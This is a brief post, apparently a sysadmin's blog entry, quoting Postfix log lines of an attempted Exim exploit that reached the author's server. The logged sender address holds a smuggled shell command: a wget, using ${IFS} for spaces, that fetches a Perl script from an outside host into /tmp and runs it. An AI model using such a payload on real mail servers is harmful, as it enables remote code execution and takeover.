Aside from generally getting too much email, today this gem arrived ….
Presumably there is/was a vulnerability in Exim.
Thankfully this server runs Postfix.
Jun 18 23:47:47 xxxx postfix/cleanup[727]: 718FF848036: message-id=<>
Jun 18 23:47:47 xxxx postfix/qmgr[1444]: 718FF848036: from=<x`wget${IFS}-O${IFS}/tmp/p.pl${IFS}radioactivefrog.com/.x/exim.txt“perl${IFS}/tmp/p.pl`@blaat.com>, size=206, nrcpt=1 (queue active)